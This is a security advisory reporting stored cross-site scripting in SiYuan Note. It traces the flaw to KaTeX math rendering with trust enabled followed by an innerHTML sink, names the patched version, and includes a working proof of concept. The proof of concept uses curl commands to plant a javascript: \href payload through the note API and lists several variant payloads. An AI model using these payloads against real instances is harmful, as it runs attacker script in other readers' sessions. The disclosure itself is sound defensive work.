Skip to content

Stored XSS via KaTeX `\href` in SiYuan math blocks (local-kernel editor path)

This report was submitted with AI assistance

High
88250 published GHSA-hhvq-jqv9-pgjq Oct 9, 2026

Package

gomod siyuan (Go)

Affected versions

>= 2.10.0

Patched versions

v3.8.7

Description

Summary

Stored cross-site scripting in SiYuan Note. Math block content ($$...$$) written by any user with edit permission on a document is rendered by the block's editor path with KaTeX's trust: true and without HTML sanitization. KaTeX's TeX \href (and \url, \includegraphics) rules therefore preserve a javascript: URL in the generated <a href> / <img src> attribute, which the application then assigns via innerHTML. A reader who clicks the rendered link executes attacker script in the application origin.

Details

Root cause is the trust decision for KaTeX combined with a direct innerHTML sink, not a generic KaTeX flaw. KaTeX's \href rule is documented as emitting the URL as given when trust is enabled; the application opts into that mode by default on the local path.

Affected source locations (commit 60a4387):

  • app/src/protyle/render/mathRender.ts:52-59 — interpretation entry:
    window.katex.renderToString(Lute.UnEscapeHTMLStr(dataContent), { trust: security.trust, ... })
    (KaTeX pinned to 0.16.9, mathRender.ts:39, katex.min.js?v=0.16.9)
  • app/src/protyle/render/mathRenderSecurity.ts:1-4 — trust/sanitize decision
  • app/src/protyle/render/mathRender.ts:68-72 — sink: mathElement.innerHTML = mathHTML

Data flow:

  1. A collaborator with edit rights stores the following as math block content ($$...$$), through the editor or through the normal API POST /api/block/appendBlock {"dataType":"markdown", ...}: $$\href{javascript:alert('xss')}{clickme}$$
  2. Lute stores it as a math block whose data-content holds the TeX source verbatim.
  3. When the document is opened, mathRender calls katex.renderToString(..., { trust: true }). KaTeX's \href rule emits <a href="javascript:alert('xss')">clickme</a>.
  4. The HTML is mounted with innerHTML into the math block container.
  5. The victim clicks the rendered link; the javascript: URL runs attacker script in the application origin (javascript: URLs execute only on an in-document click gesture — no click, no execution).

The rendering rule was additionally reproduced in isolation (KaTeX 0.16.9, trust: true) to confirm step 3; the end-to-end click was executed in a real Chromium against the running application.

Proof of concept

Environment: Ubuntu / Docker (b3log/siyuan:latest, digest sha256:d740a1d3ed6b850de3043caf02d3b41e57e0c79b69a8ce2e511588e5e76968c1) / SiYuan 3.8.5, kernel reachable at http://127.0.0.1:18083.

  1. Plant the payload as an ordinary document editor would (only normal APIs are used):

    NB=$(curl -s --noproxy '*' -X POST http://127.0.0.1:18083/api/notebook/createNotebook \
         -H 'Content-Type: application/json' -d '{"name":"xsslab"}' \
         | python3 -c "import json,sys;print(json.load(sys.stdin)['data']['notebook']['id'])")
    
    DOC="xss-katex-tok-manual"
    KDOC=$(curl -s --noproxy '*' -X POST http://127.0.0.1:18083/api/filetree/createDocWithMd \
         -H 'Content-Type: application/json' \
         -d "{\"notebook\":\"$NB\",\"path\":\"/$DOC\",\"markdown\":\"kx\"}" \
         | python3 -c "import json,sys;print(json.load(sys.stdin)['data'])")
    
    TOKEN='xss_manual_p00'
    python3 -c "import json;print(json.dumps({'dataType':'markdown',
      'data':\"\$\$\\\\href{javascript:alert('$TOKEN')}{clickme}\$\$\",'parentID':'$KDOC'}))" > /tmp/b.json
    curl -s --noproxy '*' -X POST http://127.0.0.1:18083/api/block/appendBlock \
         -H 'Content-Type: application/json' --data @/tmp/b.json
  2. Open http://127.0.0.1:18083/stage/build/desktop/ → notebook xsslab → document $DOC.

  3. The math block renders a clickme link. Clicking it shows a native alert dialog containing xss_manual_p00.

Observed result (real Chromium run, payload rendered by the application, not by a test fixture): KaTeX output <a href="javascript:alert('xss_syK1_p00')">…</a>, click → alert dialog with the per-run token, i.e. the payload of the planted block executes in the application origin.

Other payload variants that survive the same rule with trust: true (all require the same single click): \href with mixed case scheme (JaVaScRiPt:), \url{javascript:…}, \includegraphics{javascript:…} (produces img[src="javascript:…"]).

Not vulnerable / checked and safe on the same workspace: ordinary paragraph <img onerror=…> is stored as escaped text; <script> is escaped by Lute; fenced code blocks render as text nodes; HTML block data-content is entity-encoded and not activated; iframe[src="javascript:…"] is emptied to src="" by Lute.

Impact

Stored, so every reader of the shared document is exposed. The script runs in the application origin, so it can read the page and act with the reader's session in that origin — relevant because the desktop build's UI drives local kernel APIs. Demonstrated impact is limited to proof-of-concept execution (alert dialog); no data exfiltration was performed.

Severity

High

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Credits